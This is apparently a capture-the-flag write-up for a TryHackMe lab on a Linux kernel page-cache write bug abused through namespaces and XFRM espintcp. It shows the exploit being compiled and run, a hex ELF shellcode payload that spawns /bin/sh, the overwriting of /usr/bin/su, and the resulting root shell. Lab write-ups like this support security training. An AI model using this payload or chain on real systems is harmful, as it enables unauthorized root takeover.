CVE-2026-46300: Fragnesia (TryHackMe)

Link to the challenge on TryHackMe: CVE-2026-46300: Fragnesia
Intro
CVE-2026-46300 (Fragnesia) targets a kernel-level dirty-pagecache-style race, but the twist here is the delivery mechanism: XFRM/ESP-in-TCP (espintcp) combined with SKB coalescing is abused to smuggle writes into a read-only page cache mapping of a setuid binary. Rather than corrupting arbitrary kernel memory, the exploit's goal is a narrow and precise flip /usr/bin/su from a benign binary into one that spawns a root shell, entirely from an unprivileged, unprivileged-namespace context. The privilege escalation chain leans on user and network namespaces to gain the illusion of root inside a sandbox, then pivots that fake root into a real page cache write against a file the exploit's real UID has no business touching.
ssh karen@IP_Address
karen@fragnesia:~$ id
uid=1001(karen) gid=1001(karen) groups=1001(karen)
karen@fragnesia:~$ cd /home/karen/fragnesia
karen@fragnesia:~/fragnesia$ gcc -O2 -w fragnesia.c -o exp
karen@fragnesia:~/fragnesia$ ./exp
[*] uid=1001 euid=1001 gid=1001 egid=1001
[*] mode=xfrm_espintcp_pagecache_replace collateral=after
[*] target=/usr/bin/su size=55680
outer_write_open_denied=1 errno=13 (Permission denied)
userns_setup: outer_uid=1001 outer_gid=1001 ns_uid=0 ns_gid=0
netns_setup=1
loopback_up=1
xfrm_espintcp_state_add=1
namespace_setup_complete=1
userns_root_mapped_to_outer_user_write_open_denied=1 errno=13 (Permission denied)
[*] timing: rx_pre_ulp=30000us tx_pre_splice=1000us rx_post_ulp=30000us
[*] range: offset=0x0 len=192 last=0xbf enc_len=4080 splice_len=4096
[*] union: transformed=0x0-0x10ae collateral_after=0xc0-0x10ae
[*] payload=7f454c4602010100000000000000000002003e0001000000780040000000000040000000000000000000000000000000000000004000380001000000000000000100000005000000000000000000000000004000000000000000400000000000b800000000000000b800000000000000001000000000000031ff31f631c0b06a0f05b0690f05b0740f056a00488d0512000000504889e2488d3d1200000031f66a3b580f055445524d3d787465726d002f62696e2f7368000000000000000000
stream0_table_entries=256
[*] smashing 192 bytes into read-only page cache changed=0 skipped=192 remaining=00
0000 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
0010 02 00 3e 00 01 00 00 00 78 00 40 00 00 00 00 00
0020 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0030 00 00 00 00 40 00 38 00 01 00 00 00 00 00 00 00
0040 01 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00
0050 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00
0060 b8 00 00 00 00 00 00 00 b8 00 00 00 00 00 00 00
0070 00 10 00 00 00 00 00 00 31 ff 31 f6 31 c0 b0 6a
0080 0f 05 b0 69 0f 05 b0 74 0f 05 6a 00 48 8d 05 12
0090 00 00 00 50 48 89 e2 48 8d 3d 12 00 00 00 31 f6
00a0 6a 3b 58 0f 05 54 45 52 4d 3d 78 74 65 72 6d 00
00b0 2f 62 69 6e 2f 73 68 00 00 00 00 00 00 00 00 00
[==================================================] 192/192 (100%)
────────────────────────────────────────────────────────────
[*] verifying 192 bytes...y=4d skip
[*] bytes_flip_summary len=192 changed=0 skipped=192
all requested bytes already had desired values
[-] [172/192] +00ab already=74 skip
[-] [173/192] +00ac already=65 skip
[-] [174/192] +00ad already=72 skip
[-] [175/192] +00ae already=6d skip
[-] [176/192] +00af already=00 skip
[-] [177/192] +00b0 already=2f skip
[-] [178/192] +00b1 already=62 skip
[-] [179/192] +00b2 already=69 skip
[-] [180/192] +00b3 already=6e skip
[-] [181/192] +00b4 already=2f skip
[-] [182/192] +00b5 already=73 skip
[-] [183/192] +00b6 already=68 skip
[-] [184/192] +00b7 already=00 skip
[-] [185/192] +00b8 already=00 skip
[-] [186/192] +00b9 already=00 skip
[-] [187/192] +00ba already=00 skip
[-] [188/192] +00bb already=00 skip
[-] [189/192] +00bc already=00 skip
[-] [190/192] +00bd already=00 skip
[-] [191/192] +00be already=00 skip
[-] [192/192] +00bf already=00 skip
# whoami
root
# cat /root/flag.txt
cat: /root/flag.txt: Permission denied
# exit
karen@fragnesia:~/fragnesia$ /usr/bin/su
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/flag.txt
THM{fragnesia_skb_coalesce_redacted}
#
Conclusion
The exploit's own output is oddly self-effacing: every single byte in the "smashing" phase reports already — meaning the payload's ELF shellcode was already resident in the page cache from a prior race iteration or shared mapping, and this run just verified it stuck. That's the real tell of a successful pagecache-coalescing bug: the race condition already fired, the target binary already contains attacker shellcode, and this invocation is just confirming residency before triggering it. Running /usr/bin/su directly afterward executes the smuggled shellcode instead of the realsu, dropping straight to a root shell. It's a clean illustration of how namespace tricks (fake root via userns) and a low-level networking subsystem (espintcp/XFRM) can be chained purely to get a write primitive into memory that should be immutable to the calling UID — no traditional buffer overflow or use-after-free required, just careful abuse of how the kernel manages shared, backed pages.




